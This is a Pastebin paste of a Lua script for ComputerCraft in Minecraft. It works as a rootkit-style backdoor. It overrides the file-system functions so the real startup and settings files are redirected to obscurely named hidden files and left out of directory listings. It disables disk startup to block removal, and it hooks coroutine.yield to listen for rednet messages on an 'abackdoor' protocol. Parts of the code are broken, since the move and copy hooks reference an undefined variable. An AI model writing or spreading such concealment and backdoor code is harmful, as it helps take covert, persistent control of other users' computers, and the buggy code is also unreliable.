Guest User

aaaa

a guest
Jul 6th, 2019
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.05 KB | None | 0 0
  1. local redirects={{"startup",".ryxh0hsdf0jd9cmfipoa-98mfugjvfkbxccbnbdgxhggfjke"},{".settings",".dahfjshodhgsogfceh9etbwq6rctf45w6etf8teyg8fdrwg"}}
  2. local fsopen=fs.open
  3. local fsexist=fs.exists
  4. local fslist=fs.list
  5. local termwrite=term.write
  6. local fsdelete=fs.delete
  7. local fsmove=fs.move
  8. local fscopy=fs.copy
  9. local fsfind=fs.find
  10. local fscombine=fs.combine
  11. local settingsset=settings.set
  12. if not fsexist(redirects[2][2]) then
  13.      fscopy(".settings",redirects[2][2])
  14.      settingsset("shell.allow_disk_startup",false)
  15. end
  16.  
  17. local function trg(s)
  18.     for i=1,#redirects do
  19.         if s==redirects[i][1] or s==redirects[i][1]..".lua" then
  20.             return true
  21.         end
  22.     end
  23.     return false
  24. end
  25. local function dst(s)
  26.     for i=1,#redirects do
  27.         if s==redirects[i][2] or s==redirects[i][2]..".lua" then
  28.             return true
  29.         end
  30.     end
  31.     return false
  32. end
  33. local function redir(s)
  34.     for i=1,#redirects do
  35.         if s==redirects[i][1] then
  36.             return redirects[i][2]
  37.         end
  38.         if s==redirects[i][1]..".lua" then
  39.             return redirects[i][2]..".lua"
  40.         end
  41.     end
  42.     print("um")
  43. end
  44. fs.exists=function(file)
  45.     if trg(file) then return fsexist(redir(file)) end
  46.     return fsexist(file)
  47. end
  48. fs.delete=function(file)
  49.     if trg(file) then return fsdelete(redir(file)) end
  50.     return fsdelete(file)
  51. end
  52. fs.move=function(file1,file2)
  53.     if trg(file) then return fsmove(redir(file),file2) end
  54.     if trg(file2) then return fsmove(file,redir(file2)) end
  55.     return fsmove(file1,file2)
  56. end
  57. fs.copy=function(file1,file2)
  58.     if trg(file) then return fscopy(redir(file),file2) end
  59.     if trg(file2) then return fscopy(file,redir(file2)) end
  60.     return fscopy(file1,file2)
  61. end
  62. fs.open=function(file,mode)
  63.     file=fscombine(file,"")
  64.     if trg(file) then
  65.         if not fsexist(redir(file)) then
  66.             fsopen(redir(file),"w").close()
  67.         end
  68.         file=redir(file)
  69.     end
  70.     return fsopen(file,mode)
  71. end
  72. fs.list=function(location)
  73.     if fscombine(location,"")~="" then return fslist(location) end
  74.     local real=fslist(location)
  75.     local fake={}
  76.     for i=1,#real do
  77.         if (trg(real[i])) then
  78.             if fsexist(redir(real[i])) then
  79.                 table.insert(fake,real[i])
  80.             end
  81.         else
  82.             if not dst(real[i]) then
  83.                 table.insert(fake,real[i])
  84.             end
  85.         end
  86.     end
  87.     return fake
  88. end
  89. fs.find=function(files)
  90.     if fscombine(files,"")~="" then return fsfind(files) end
  91.     local real=fsfind(files)
  92.     local fake={}
  93.     for i=1,#real do
  94.         if (trg(real[i])) then
  95.             if fsexist(redir(real[i])) then
  96.                 table.insert(fake,real[i])
  97.             end
  98.         else
  99.             if not dst(real[i]) then
  100.                 table.insert(fake,real[i])
  101.             end
  102.         end
  103.     end
  104.     return fake
  105. end
  106. local coroutineyield=coroutine.yield
  107. coroutine.yield=function(...)
  108.     local args={coroutineyield(...)}
  109.     --print(unpack(args))
  110.     if args[1]=="rednet_message" and args[3]=="abackdoor" then
  111.         print(args[4])
  112.     end
  113.     return unpack(args)
  114. end
  115. shell.run("/rom/startup.lua")
Add Comment
Please, Sign In to add comment